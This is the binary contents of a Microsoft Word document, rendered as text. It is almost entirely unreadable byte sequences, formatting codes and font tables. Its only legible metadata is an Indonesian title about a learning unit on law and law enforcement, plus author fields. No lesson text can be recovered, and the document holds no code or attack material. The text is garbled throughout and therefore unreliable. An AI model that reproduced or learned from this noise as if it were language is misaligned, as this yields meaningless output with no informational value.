yH zH •H …H ŠH ‹H –H — H £H ¤H ¬H -H ²H ³H ¸H ¹H ÃH ÄH ÈH ËH ÓH ÕH ÛH ÝH åH èH íH îH øH ÿH I I I I I I I !I &I 'I I .I 3I 5I 9I ;I @I BI FI GI LI MI SI UI YI [I ^I _I iI lI vI wI }I ~I „I …I ŠI ŒI ‘I ’I ˜I ™I œI •I ¡I ¢I §I ¨I ¶I ¸I ¿I ÁI ÊI ËI ÒI ðI õI öI üI ýI J J J J J K K J J J J J J !J (J )J 0J 6J =J >J BJ CJ GJ HJ MJ NJ RJ SJ VJ \J dJ eJ iJ jJ pJ sJ {J }J ƒJ …J ŽJ •J ”J •J œJ •J £J ¤J «J ¬J ±J ½J ÍJ ÐJ ÓJ àJ æJ çJ ñJ óJ ýJ þJ K K K K !K "K %K &K +K ,K /K 1K 6K 7K ?K @K JK KK SK TK \K lK qK rK €K •K ‰K ŠK •K ‘K •K – K ŸK K §K ¨K ¯K °K ·K ¹K ÀK ÂK ÈK ÉK ÌK ÍK ÔK ÕK ÚK ÛK ãK äK íK îK ÷K øK L L L L L L L L -L L *L +L /L 0L 7L =L @L AL EL FL JL KL QL RL XL YL lL mL pL qL uL vL {L |L …L †L ŒL •L •L ‘L ™L šL ŸL L ®L ¯L ´L µL ÂL ÈL ÍL ÎL ØL ÛL ãL ïL ùL aM nM oM tM uM |M }M ƒM „M ˆM ‰M ’M “M ¦M §M ¯M °M ·M ¸M ÉM ÏM ÔM ÕM ÞM àM æ M çM ìM íM õM öM þM ÿM N N N N "N $N 5N 7N ;N <N CN GN LN NN TN UN ]N ^N gN hN kN lN tN uN ƒN „N ‰N •N ’N “N •N – N •N žN ¢N ¤N ¬N ¸N ÂN O O O O O $O &O 2O 4O <O =O CO DO JO KO TO UO XO YO eO gO oO qO wO xO }O ƒO •O ŽO •O •O ¡O ¢O §O ¨O ®O °O ´O µO ·O ¸O ¼O ½O ÅO ÆO ÏO ÐO ÜO ÞO éO ëO îO ïO üO ýO P P P P P P P P #P %P *P +P 5P 6P <P FP LP MP UP VP \P ^P gP hP lP mP vP wP {P |P •P ‚P ŽP •P “P ”P •P £P ¨P ©P ´P µP ½P ÃP ÉP ÊP ÍP ÖP ÜP ÞP äP åP êP ëP ôP õP úP ûP Q Q Q Q Q Q $Q %Q 3Q 4Q <Q =Q DQ EQ KQ QQ WQ XQ [Q \Q aQ bQ kQ mQ uQ wQ }Q ~Q ƒQ „Q ‰Q ŠQ ”Q •Q ›Q •Q §Q ªQ ®Q ¯Q ±Q ²Q ¶Q ·Q ÂQ ÃQ ÉQ ÊQ ÒQ ÓQ ØQ åQ çQ èQ ðQ òQ õQ þQ R R R R R R "R #R (R )R 1R 2R 7R 8R BR CR JR MR SR TR _R `R kR mR ~R €R “R •R œR •R ¤R ¥R ¬R -R ¾R ÄR ÉR ËR ÏR ÐR ÕR ×R áR âR êR ëR òR óR üR ýR S S S S S S S S %S 0S 8S :S CS IS SS TS YS ZS \S vS xS yS }S ~S ‡S ˆS •S ŽS — S ˜S ›S œS ¡S ¢S §S ¨S ±S ²S ¹S ÜS æS çS òS óS øS ûS T T T ]S dS eS iS jS oS qS uS ºS ¾S ¿S ÇS ÈS ÎS ÏS ÖS T T T T T T -T *T ,T 6T 8T ?T ET MT NT „T …T ˆT ‰T ŽT •T –T — T ¤T ªT ®T ¯T ¶T ·T ¿T ÀT øT ùT ýT þT U ST TT [T \T fT gT qT wT |T }T ÉT ÊT ÑT ÒT ØT ÙT åT æT íT îT U V U U $U %U )U +U 1U 2U :U ;U AU BU FU GU PU QU UU cU mU nU ‰U ŠU ŽU •U ”U •U ŸU U ©U ªU ¯U ±U ¹U »U ÁU ÃU ÉU ÌU ÑU ÒU ÜU ÝU çU íU ôU öU üU ýU V V V W W V V V V $V %V *V +V 0V 1V 7V 8V @V BV IV KV NV PV XV ZV `V bV kV lV qV rV zV {V ˆV ‰V •V “V ™V ›V ¡V ¢V ©V ªV ´V ÄV ËV ÌV ÑV ÒV ÙV ÚV àV áV äV åV ïV ðV øV ùV W W W W W W !W "W %W &W *W +W 0W 1W 9W :W AW BW FW GW LW NW RW TW XW YW _W `W fW gW sW tW zW {W …W ŽW –W — W •W žW £W ¥W ©W «W ¯W °W ¶W ¼W ÂW ÃW ÐW ÑW ÙW ßW êW ëW òW õW CX EX >Y ?Y „Y …Y ãY äY QZ SZ ðZ õZ öZ üZ ýZ [ Š[ ’[ ¡[ ¦[ §[ ®[ ¯[ µ[ ¶[ ¹[ º[ ¿[ À[ É[ Ê[ Î[ Ï[ Ü[ Ý[ å[ æ[ ò[ ó[ ÷[ ø[ \ \ \ \ \ \ \ \ !\ "\ )\ * \ 3\ 4\ 9\ :\ @\ A\ D\ E\ L\ M\ T\ V\ a\ b\ j\ k\ u\ v\ }\ ~\ ƒ\ „\ ‡\ ˆ\ Ž\ •\ –\ — \ §\ -\ ±\ ²\ ¸\ ¹\ À\ Á\ Ä\ Å\ Ï\ Ð\ Õ\ Ö\ Þ\ ß\ â\ ã\ ì\ í\ ó\ ô\ ÷\ ú\ ] ] ] ] ] ] "] #] ,] ] 2] 3] 9] :] =] >] F] G] L] M] T] U] ^] _] i] j] p] q] v] w] ~] •] ˆ] ‰] Œ] •] — ] ˜] Ÿ] ] §] ¨] ®] ¯] µ] ¶] ¹] ¼] ¿] À] Æ] Ç] Ó] Ô] ×] Ø] Þ] ß] æ] ç] ê] ë] ñ] ò] û] ü] ^ ^ ^ ^ ^ _ ^ ^ !^ "^ (^ )^ ,^ 3^ 4^ <^ =^ D^ E^ L^ M^ P^ Q^ V^ Y^ \^ ]^ b^ c^ f^ g^ m^ n^ t^ u^ •^ €^ …^ †^ ‰^ Š^ ’^ “^ ›^ œ^ Ÿ^ ^ ¦^ §^ ³^ ´^ ·^ ¹^ À^ Á^ É^ Ì^ Ò^ Ó^ â^ è^ ï^ ð^ ô^ õ^ ù^ û^ _ _ _ _ _ _ _ "_ #_ *_ +_ 3_ 4_ 9_ :_ @_ A_ G_ H_ N_ O_ S_ T_ ^_ __ d_ ·j ¹j ½j ¾j êj ëj ôj õj !k "k 'k )k k /k 9k :k ?k @k Fk Gk Tk Uk \k ]k dk fk mk nk sk tk Áq Âq Îq Ïq ÷q øq r r <r =r Cr Dr Gr Ir Qr Rr \r ]r ir kr nr or tr vr {r |r ‚r „r Šr ‹r ½r ¾r Är År Èr Êr Ïr Ðr ^s _s es fs i s js ps qs xs ys ‰s Šs •s ’s œs žs ïs ðs ÷s øs üs ýs [t ]t at bt •t –t ™t št §t ¨t °t ³t ¾t Àt u u u u u u u •u ‚u …u †u Šu ‹u ›u œu £u ¤u ªu ®u öu ÷u ùu úu v v v v v v .v /v 4v 5v Ev Fv Ov Pv Vv Wv [v \v lv mv qv rv vv wv |v }v ‚v ƒv ˆv ‰v –v — v •v žv ªv «v ±v ²v ·v ¹v ¾v ¿v Åv Æv Ìv Ív èv év ìv ív öv ÷v üv ÿv w w w w Îw Ðw ‚ ‚ ‚ ‚ •‚ –‚ š‚ ›‚ ˆ ˆ òu u ½u ¾u åu æu _v `v ev fv Õv Öv âv ãv óu ˆ ˆ 5• 7• >• ?• G• H• O• P• Y• [• ^• _• f• g• o• p• t• v• ~• •• …• †• ý‘ þ‘ ’ ’ i’ j’ v’ w’ †“ ‡“ •“ •“ ´“ µ“ ¸“ º“ À“ Á“ ²” ³” ¸” ¹” Ø” Ù” Ý” Þ” 0– 1– 5– 6– ™ -™ &™ (™ ~› › ‡› ˆ› ÊŸ ËŸ ÓŸ ÔŸ ÝŸ ÞŸ ¢ ¢ !¢ #¢ (¢ )¢ /¢ 0¢ \¢ ]¢ d¢ e¢ £ £ £ S« ® £ T« - £ £ Pª Rª Yª [ª aª bª W« X« ‚« ƒ« •« Ž« ý¬ þ¬ - Ÿ­ ¡- ¥- ¦- ý- ÿ® ® hª - iª - nª - oª A« B« J« L« ® J® K® P® Q® „® …® •® ‘® ‹¯ Œ¯ “¯ ”¯ 5´ 6´ ;´ <´ B´ C´ †´ ˆ´ Œ´ •´ ¥µ ¦µ ¯µ °µ Áµ ĵ ȵ ɵ Ķ Ŷ Ͷ ζ <· =· @· A· ã¾ ä¾ ¿ ¿ ¿ ¿ #¿ $¿ '¿ (¿ 1¿ 2¿ J¿ K¿ O¿ P¿ U¿ V¿ Y¿ Z¿ _¿ `¿ g¿ h¿ k¿ l¿ r¿ s¿ y¿ z¿ †¿ ‡¿ Œ¿ •¿ • ¿ •¿ •¿ – ¿ š¿ •¿ ©¿ ª¿ °¿ ±¿ ´¿ µ¿ º¿ »¿ ¿¿ À¿ Ç¿ È¿ Ì¿ Í¿ Ó¿ Ô¿ Ø¿ Ù¿ Þ¿ ß¿ é¿ ê¿ ï¿ ð¿ ù¿ ú¿ À À À À À À F G R T u v { | … †Â )à *à 0à 1à _à `à eà fà xà yà }à ~à šÃ ›Ã ŸÃ à ªÃ «Ã ³Ã ´Ã ¹Ã ºÃ Òà Óà Ûà Üà áà âà w Ä yÄ •Ä ‚Ä ‹Ä ŒÄ ’Ä “Ä ŸÄ Ä «Ä ¬Ä ³Ä ´Ä ¼Ä ¾Ä ÇÄ ÉÄ ÕÄ ÖÄ ÙÄ ÚÄ Å Å Å Å Å Å Å -Å qÅ sÅ yÅ zÅ ~Å •Å †Å ‡Å ÞÅ ßÅ âÅ ãÅ ëÅ íÅ õÅ öÅ Æ Æ Æ Æ Æ Æ +Æ Æ 0Æ 1Æ UÆ VÆ aÆ bÆ ƒÆ …Æ ‘Æ ’Æ ½É ¾É ÅÉ ÆÉ ïÉ ðÉ ùÉ úÉ Ê Ê Ê Ê Ê Ê Ê Ê Ê Ê "Ê #Ê &Ê (Ê 4Ê 5Ê uË wË ~Ë •Ë ,Ì .Ì 5Ì 6Ì ?Ì @Ì îÏ ïÏ øÏ ùÏ ZÐ ^Ð cÐ dÐ Ð ¡Ð ¢Ð ¥Ð ¦ Ð ¨Ð ªÐ ¬Ð -Ð ®Ð ¸Ð ¹Ð ÀÐ ÁÐ ÄÐ ÅÐ ÍÐ ÏÐ ×Ð ÙÐ âÐ åÐ ðÐ ñÐ )Ñ *Ñ 2Ñ 3Ñ >Ñ ?Ñ ¶Ñ ¹Ñ ßÑ àÑ æÑ çÑ óÑ ôÑ /Ó 2Ó 7Ó 8Ó dØ eØ °Ø ±Ø ·Ø ¸Ø ÄØ ÅØ ÈØ ÊØ ÏØ ÐØ õØ öØ üØ ýØ Ù Ù Ù Ù Ù Ú Ú Ù Ù Ù Ù £Ù ¤Ù ªÙ «Ù ÷Ù ùÙ üÙ ýÙ -Ù ·Ù Ú Ù (Ù )Ù ‡Ù ŠÙ •Ù •Ù •Ù – ¸Ù »Ù ¼Ù ÆÙ ÇÙ ÔÙ ÕÙ ÜÙ ÝÙ Ú àÙ áÙ ïÙ ñÙ Ú Ú Ú Ú Ú Ú Ú &Ú 'Ú ,Ú 9Ú :Ú ?Ú @Ú BÚ CÚ HÚ IÚ MÚ PÚ VÚ WÚ \Ú ]Ú bÚ dÚ pÚ qÚ wÚ xÚ „Ú …Ú ˆÚ ‰Ú •Ú ŽÚ ’Ú “Ú šÚ ›Ú ŸÚ Ú §Ú ¨Ú ²Ú ³Ú ÏÚ ÐÚ áÚ âÚ éÚ êÚ Û Û GÛ HÛ <Ü ?Ü FÜ GÜ JÜ KÜ QÜ RÜ XÜ YÜ fÜ gÜ mÜ nÜ zÜ {Ü €Ü •Ü ƒÜ „Ü ŒÜ •Ü ŽÜ ‘Ü ›Ü œÜ ¡ Ü ¢Ü ©Ü ªÜ °Ü ²Ü µÜ ¶Ü KÝ MÝ WÝ XÝ aÝ bÝ mÝ nÝ oÝ qÝ ~Ý •Ý ƒÝ „Ý ŒÝ •Ý ŽÝ •Ý ›Ý œÝ ¥Ý ¦Ý ¯Ý °Ý ¶Ý ·Ý ÄÝ ÅÝ ÉÝ ÊÝ ÓÝ ÔÝ ÕÝ ×Ý ÜÝ ÝÝ æÝ çÝ éÝ êÝ îÝ ïÝ ÷Ý úÝ ýÝ ÿÝ Þ Þ ›Þ •Þ §Þ ¨Þ ¯Þ °Þ ´Þ µÞ »Þ ¼Þ ½Þ ¿Þ ÆÞ ÇÞ ËÞ ÌÞ ÒÞ ÓÞ ÜÞ ÝÞ âÞ ãÞ èÞ êÞ ëÞ íÞ øÞ ùÞ ß ß ß ß ß ß ß ß ß ß ß ß #ß $ß /ß 0ß 7ß 8ß <ß =ß Cß Dß Mß Rß ]ß ^ß xß yß „ß …ß •ß •ß •ß – ß šß œß §ß ¨ß ¬ß -ß ²ß ³ß Àß Áß Çß Èß Ôß Õß Ùß Úß àß áß çß èß êß ëß îß ïß ôß õß úß ûß à à ¬à ¯à ´à µà Áà Âà Æà Çà @á Aá Ná Oá áá âá êá ëá %â &â /â 0â wâ xâ }â ~⠊⠋⠕⠑⠓⠔⠙⠚â ⠢⠫⠬⠵⠶⠾⠿â Ãâ Äâ É â Êâ Òâ Óâ Ûâ Ýâ áâ ââ îâ ïâ øâ ùâ þâ ÿâ ã ã ã ã ã ã ã ã %ã &ã Ûã Üã áã âã çã èã îã ïã ûã üã ä ä ä ä ä ä ä ä ä ä "ä #ä (ä )ä /ä 0ä Hä Iä Xä Yä [ä \ä aä bä hä iä •ä ’ä ›ä œä _í `í Nî Oî Rî Sî ô ô -ô ô ¤ö ¥ö ¥ö §ö §ö ¨ö ¨ö ªö «ö -ö ®ö °ö ±ö ¹ö ¼ö Çö Ëö Íö Íö Îö Ñö Ã Ä ' ( ˆ ‰ æ ç c e ~ € ¤ ¥ Ú Û ¹ á L å ì - ò ¨ k ¬ n Ÿ ñ ¡ ù ÷ ì ù ð •- < © ± j n ° J % 6 S F Ð Q! S! Ÿ! y% z% }% ž% €& ‚& Ù& Ú& 0' 1' r' t' *( W( Z( ) ¹* ú, s- u. •. Ž. Ü. L/ •/ ¢/ B0 †0 •0 ™0 Í1 ^2 a2 M3 O3 |4 }4 ÷4 ø4 N5 O5 •5 ‘5 ) 4 V* 4 6 ¶6 ·6 7 7 (7 )7 °7 (8 )8 ‚8 ƒ8 î8 ð8 º9 Ù9 Þ9 : ? ": •: •: Ö; â; “< ? A Î? ä? ò? Â@ Í@ >A ?A ÆA ÇA xB zB C C FC HC ’C “C DD FD TE [E jE zE òE ôE VF mG wG ŸG (H 5H YH [H ÉH ÕH ÝH •I ¡I ¸I îI ðI qJ ,K /K 1K ¸K ¹K 8L 9L ÙL „M ˆM àM DN GN £N O fO µO ·O hP lP ÖP lQ ¯Q ±Q R KR ÐR áR ZS \S ûS •T õW IZ JZ ðZ ýZ [ ‰[ Ÿ[ ¡[ U\ -\ ±\ ‰] Œ] ¼] W^ Y^ ¸^ ¹^ Ê^ Ì^ t_ v_ ` ` ¯` ±` ü` ÿ` ga ha b b {c }c ¬f ®f j j ek f k ¢k £k l l $l .m •m €m 4n 7n 3p 4p Àq Âq æq èq -u ®u þv ÿv rz sz à} á} W• X• 1ƒ 2ƒ æƒ èƒ 5„ 7„ ”„ † B† ñ† –Š — Š Š Ê žŽ ŸŽ *‘ +‘ ÷‘ E’ F’ ®’ ä’ é’ 5” .• 0• º• Ñ• Ô• s– w– z– — -— †— ˆ— ˜ ˜ ˜ h™ l™ ˆ™ Œ™ 0š 4š 7š Ïš Ñš Л Ò› Qœ Rœ ¾œ d• h• j• ®• Çž Øž | € Ü ¢ ¢ D¢ £ T£ V£ ê£ ¥ ¤¥ Ú¥ Ü¥ 5¦ G¦ Á¦ æ o§ ¨ ¨ ¿¨ Á¨ 3© 5© © ¢© 'ª À¬ ð¬ b- f- ¼- À- Û- ã® À° ð N± ‡± ˆ± í± ï± i² !³ }³ Ö´ Ú´ µ¶ ƒ· ¼¾ ¾ ݾ ›¿ À jÀ kÀ Á Á «Á ¬Á E G JÆ LÆ ²É ´É 5Î 9Î LÏ NÏ [Ð x Ð ›Ð ®Ð ¶Ð ¹Ð ÌÐ ÏÐ ×Ð ÙÐ âÐ ¹Ñ Ò Ò — Ò ˜Ò 0Ó Ô oÔ ÐÔ ÔÔ ‘Ö èÖ ëÖ WØ YØ ‰Ù ŠÙ Û Û •Ü ‘Ü ¡Ü ¢Ü °Ü ²Ü òÜ óÜ IÝ JÝ mÝ nÝ ŒÝ •Ý ÓÝ ÔÝ øÝ úÝ =Þ >Þ ™Þ šÞ »Þ ¼Þ éÞ êÞ ß ß Nß Rß à à -à ¯à -ã ã •ä ’ä ›ä œä 1æ 2æ Ñç Òç Òé Óé )ì *ì Xí Yí Kî ï ï Æï Èï Lð éð òð >ñ õñ Vò [ò ˜ò æò çò ›ó •ó áó ¥ö ¥ö §ö §ö ¨ö ¨ö ªö «ö -ö ®ö °ö ±ö Êö Ëö Ñö 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 e e Âq Âq ݾ ݾ F F \Ð \Ð ¶Ñ ·Ñ YØ YØ ‘Ü ‘Ü Pß Qß ’ ä ’ä ¤ö ¥ö ¥ö §ö §ö ¨ö ¨ö ªö «ö -ö ®ö °ö ±ö Êö Ëö Ëö Ìö Ìö Íö Íö Ñö e e Âq Âq ݾ ݾ F F \Ð \Ð ¶Ñ ·Ñ YØ YØ ‘Ü ‘Ü Pß Qß ’ ä ’ä ¤ö ¥ö ¥ö §ö §ö ¨ö ¨ö ªö «ö -ö ®ö °ö ±ö Êö Ëö Ëö Ìö Ìö Íö Íö Ñö T#à Dä ÿ vf $þÒ„ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ¬o¬ Dä ÿ Ÿ/t f•Ô5ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÐS• Dä ÿ Ü!M |5 sÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ t! Æ%Äíÿ C Ù"¾‘œÍÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ý Z%Dä ÿ ·=ä&Dä ÿ Ö W1– •ÒTÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ wYï8®„”ïÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ k?ÏB2› šÿ ç ºJxÛª”ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ‘ ÙNDä ÿ â! dDä ÿ ´k_k<ãdTÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ´-ékÆ%Äíÿ ¹Larfëz^ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ J ÌxÌóò ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ SSAzæq"šÿ otÄ{ŠŒÜfÿ p 1}æq"šÿ @ h „ˆ ^„ˆ `„˜þ . „Ð „˜þ Æ Ð ^„Ð `„˜þCJ . ÿ Æ h ÿ Æ h ÿ Æ h ÿ Æ h ÿ Æ h ÿ Æ h ÿ Æ h ÿ Æ h @ h „„ „˜þ^„„ `„˜þ . h „„ „˜þ Æ „ ^„„ `„˜þOJ QJ o( ‡h ˆH • h „T „˜þ Æ T ^„T `„˜þOJ QJ ^J o( ‡h H o • h „$ „˜þ Æ $ ^„$ `„˜þOJ QJ o( ‡h ˆH §ð • h „ô „˜þ Æ ô ^„ô `„˜þOJ QJ o( ‡h ˆH ·ð • h „Ä „˜þ o( ·ð ˆ „˜þ Æ Ä ^„Ä `„˜þOJ ” ^„” Æ d „˜þ Æ „ h þ . „ „p „@ „˜þ Æ ^„@ `„˜þ‡h „ QJ ^J o( ‡h ˆH o • `„˜þOJ QJ o( ‡h ˆH §ð • ^„d `„˜þOJ QJ o( ‡h ˆH ·ð 4 ^„4 `„˜þOJ QJ ^J o( ‡h ˆH „˜þ Æ ^„ `„˜þOJ QJ o( ‡h „„ „˜þ^„„ `„˜þ . @ € „˜þ Æ ^„ `„˜þ‡h ˆH . „Lÿ Æ p ^„p `„Lÿ‡h ˆH . @ ˆH . € h „” h • o ˆH h • §ð h ‚ € @ „ˆ „˜þ Æ „d „˜þ „4 h „˜þ^„ˆ `„˜ „˜þ Æ ^„ `„˜þ‡h ˆH „à „Lÿ Æ „° „˜þ Æ „€ „˜þ Æ „P „Lÿ Æ h „˜þ^„h `„˜þ • „ „˜þ Æ „p „Lÿ Æ „@ „˜þ Æ @ ^„@ `„˜þ‡h ˆH „ à ° € P p . ^„à ^„° ^„€ ^„P . ‚ `„Lÿ‡h `„˜þ‡h `„˜þ‡h `„Lÿ‡h @ ˆH ˆH ˆH ˆH ^„ `„˜þ‡h ^„p `„Lÿ‡h ˆH ˆH . • . . . . h . . € € ‚ @ „ˆ ’ • h „˜þ^„ˆ `„˜þ „ . „˜þ Æ ^„ `„˜þ‡h ˆH „à „Lÿ Æ „° „˜þ Æ „€ „˜þ Æ „P „Lÿ Æ ˆ „˜þ^„ˆ `„˜þ @ „ „˜þ Æ „p „Lÿ Æ „@ „˜þ Æ @ ^„@ `„˜þ‡h ˆH „ ’ `„Lÿ‡h ˆH . `„˜þ‡h ˆH . `„˜þ‡h ˆH . `„Lÿ‡h ˆH . @ h h „ˆ „˜þ^„ˆ `„˜þ ^„ `„˜þ‡h ˆH . p ^„p `„Lÿ‡h ˆH . à ° € P . ^„à ^„° ^„€ ^„P . . • • • ’ @ „ˆ . ’ • h „˜þ^„ˆ `„˜þ • „ . „˜þ Æ ^„ `„˜þ‡h ˆH „à „Lÿ Æ „° „˜þ Æ „€ „˜þ Æ „P „Lÿ Æ ˆ „˜þ^„ˆ `„˜þ „ „˜þ Æ „p „Lÿ Æ „@ „˜þ Æ @ ^„@ `„˜þ‡h ˆH „ . ^„à ^„° ^„€ ^„P . ^„ p ^„p ’ `„Lÿ‡h `„˜þ‡h `„˜þ‡h `„Lÿ‡h € `„˜þ‡h `„Lÿ‡h . € à ° € P ˆH ˆH ˆH ˆH . . . . • • ’ @ ˆH ˆH . . ‚ € h „ „˜þ Æ ^„ `„˜þ‡h ˆH „à „Lÿ Æ „° „˜þ Æ „€ „˜þ Æ „P „Lÿ Æ h „˜þ^„h `„˜þ • „ „˜þ Æ „p „Lÿ Æ „@ „˜þ Æ @ ^„@ `„˜þ‡h ˆH „ à ° € P p . ^„à ^„° ^„€ ^„P . ‚ `„Lÿ‡h `„˜þ‡h `„˜þ‡h `„Lÿ‡h @ ˆH ˆH ˆH ˆH ^„ `„˜þ‡h ^„p `„Lÿ‡h ˆH ˆH . • . . . . h . . € € ‚ @ „ˆ ’ • h „˜þ^„ˆ `„˜þ „ . „˜þ Æ ^„ `„˜þ‡h ˆH „à „Lÿ Æ „° „˜þ Æ „€ „˜þ Æ „P „Lÿ Æ „ „˜þ^„„ `„˜þ h „8 „˜þ Æ „ „˜þ Æ „Ø „Lÿ „¨ à ° € P . ^„à ^„° ^„€ ^„P . ’ `„Lÿ‡h `„˜þ‡h `„˜þ‡h `„Lÿ‡h @ ˆH ˆH ˆH ˆH ^„8 `„˜þ‡h ˆH ^„ `„˜þ‡h ˆH Æ Ø ^„Ø `„Lÿ‡h . . . . h 8 • • ’ @ „„ . . ˆH h „˜þ^„„ `„˜þ • ’ . „ . h h • h „˜þ Æ ¨ ^„¨ `„˜þ‡h ˆH . „x „˜þ Æ x ^„x „H „Lÿ Æ H ^„H „ „˜þ Æ ^„ „è „˜þ Æ è ^„è „¸ „Lÿ Æ ¸ ^„¸ h „˜þ^„h `„˜þ . € „\ „˜þ^„\ `„˜þ‡h „, „Lÿ^„, `„Lÿ‡h „ü „˜þ^„ü „Ì • `„˜þ‡h `„Lÿ‡h `„˜þ‡h `„˜þ‡h `„Lÿ‡h ˆH ˆH ˆH ˆH ˆH h . . . . . ˆH ˆH `„˜þ‡h . . ˆH ‚ € . ’ • • ’ @ „Œ € h h h h h „˜þ^„Œ `„˜þo( „ . „˜þ^„Ì `„˜þ‡h „œ „l „< „ ˆH . „Lÿ^„œ `„Lÿ‡h „˜þ^„l `„˜þ‡h „˜þ^„< `„˜þ‡h ‚ ˆH ˆH ˆH . . . € € ‚ „Lÿ^„ `„Lÿ‡h ˆH • „ „˜þ Æ „p „Lÿ Æ „@ „˜þ Æ @ ^„@ `„˜þ‡h ˆH „ . p @ ^„ `„˜þ‡h ^„p `„Lÿ‡h . • h ˆH ˆH . . „ˆ ’ • „˜þ^„ˆ `„˜þ . „˜þ Æ ^„ `„˜þ‡h ˆH . „à „Lÿ Æ à ^„à „° „˜þ Æ ° ^„° „€ „˜þ Æ € ^„€ „P „Lÿ Æ P ^„P h „˜þ^„h `„˜þ . @ h p 1} ý Z% â! d ¬o¬ ’ `„Lÿ‡h ˆH . `„˜þ‡h ˆH . `„˜þ‡h ˆH . `„Lÿ‡h ˆH . @ h „h „˜þ^„h `„˜þ . ´-ék t! ‘ ÙN T#à ÐS• • • ’ @ h „8 „˜þ^„8 `„˜þ otÄ{ „ . SSAz ·=ä& vf Ÿ/t ´k_k Ö W1 k?ÏB wYï8 Ü!M J Ìx C Ù" ç ºJ ¹Lar ÿÿÿÿÿÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿÿÿ ÿÿ n MÈG„¹Â æä¶|ÈÁŠ ²éd¹®¥ÜÔ ŒŽ~|êˆnR^ôQ Dä Dä Dä Dä Dä ì+ˆ¹ :i ì" ƒ( r ¨a Dä å À q ~ wl ,w •- •< ˆ3 °` Ì n 3 •! ÒM ^Ó ' Ø}' ø:( Jc, ¬G2 C^5 6 ü58 ùP8 »M9 |?> Ó*? ÍI? ‡ A ÈMA ¹[C וD 2E 1 H £RI Ü(J º`K Ø!M BS ¬ V æMW î+X [6Y ýR[ ] c` )Yd Ÿnd ò e ± e Ó}g BYm (Sq b(s €)u K w {Py •e~ Í • g€ · ‚ qƒ –I† Z9‡ ÎY‰ ,Š ÜY‹ š Z › ~3• Ÿ QŸ ¢QŸ „: Âb ]‹ hŽ $*• šO• $+’ -” ¬ – /7— rg— IU˜ 8}˜ ¿{ª ]- ü]² k² ê*· ÍI¹ —>» [w» ¾ Î{Ä Õ ñmÛ ’-Ý <cÝ W_ã ® æ rXî > ÷ œ ø šmû ¥3ý ÅYý ˆ þ 5Mÿ £zÿ ¥ö §ö ÿ@ € ’ä ’ä ’ä ’ä Ðö p @ ÿÿ U n k n o w n ÿÿ ÿÿ ÿÿ ÿÿ ÿÿ ÿÿ G-• ‡* € ÿ T i m e s N e w R o m a n 5-• € S y m b o l ‡* € ÿ o n o t y p e C o r s i v a A n t i q u a ?=• A-• 7-• ‡* A r i a l IN• € ‡ ï ÿ ‡ K @ Ÿ Ÿ C o u r i e r àI 3.• Ÿ B o o k C a m b r i a N e w ; M • ï ¿ ë B ˆ ðÐ h ! ð Ÿ € W i n g d i n g s A-• C a m b r i a M a t h " 1 qÓËfI Û& > ú Ð$ ÕÑ ~ ¿ Ð$ Á Á ´ ´ •• 4 'ö ÕÑ 'ö ~ 2ƒq ð üý ðÿ ! g i a t a m a t e r A C u s t o HX ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ$+’ 2 x x ÿÿ n B e l a j a r 2 : P e m b e l a j a r a n i h u k u m d a n p e n e g a k a n c e r V a l u e d A c e r m e r h ? ä < K e þÿ à…ŸòùOh «‘ ì ü p +'³Ù0 $ ´ • D ˜ P à | ˆ ” œ ¤ ¬ ä @ Pembelajaran materi hukum dan penegakan Acer Valued Acer Customer 62 Word @ \V€ù @ à “OÉ @ &@ Æ[Ê Kegiatan Belajar 2: Normal Microsoft Office Ð$ ÕÑ - þÿ “— +,ù®0 $ ÕÍÕœ. h œ ¼ p ¤ | ¬ „ ´ Œ ” ä - ¿ ~ 'ö penegakan = Kegiatan Belajar 2: Pembelajaran materi hukum dan - Title ! . @ R " / A S e d # 0 B T f $ 1 C U g % 2 D V h & 3 E W F X x Š ™ « y ‹ š ¬ j | ( 5 G Y k } ) 6 H Z l ~ * 7 I [ m • + 8 J \ n , 9 K ] o : L ^ p ; M _ q < N ` r = O a > P b ? Q c s t u v z { € • ‚ ƒ „ … † ‡ ˆ Œ • Ž • • ‘ ’ “ ” • – — › œ • ž Ÿ ¡ ¢ £ ¤ ¥ ¦ § ¨ © ® ¯ ° ± ² ³ ´ µ ¶ þÿÿÿ¸ ¹ º » ¼ ½ ¾ þÿÿÿÀ Á Â Ã Ä Å Æ Ç È É Ê Ë Ì Í Î Ï Ð Ñ Ò Ó Ô Õ Ö × Ø Ù Ú Û Ü Ý Þ ß à á â ã ä å æ ç è é ê ë ì í î ï ð ñ ò ó ô õ ö ÷ ø ù ú û ü ý þ ÿ w ‰ ˜ ª i ' 4 ! " # $ % þÿÿÿ' ( ) * + , þÿÿÿ/ 0 1 2 3 4 5 þÿÿÿýÿÿÿýÿÿÿýÿÿÿ: þÿÿÿþÿÿÿþÿÿÿÿÿÿÿÿÿ 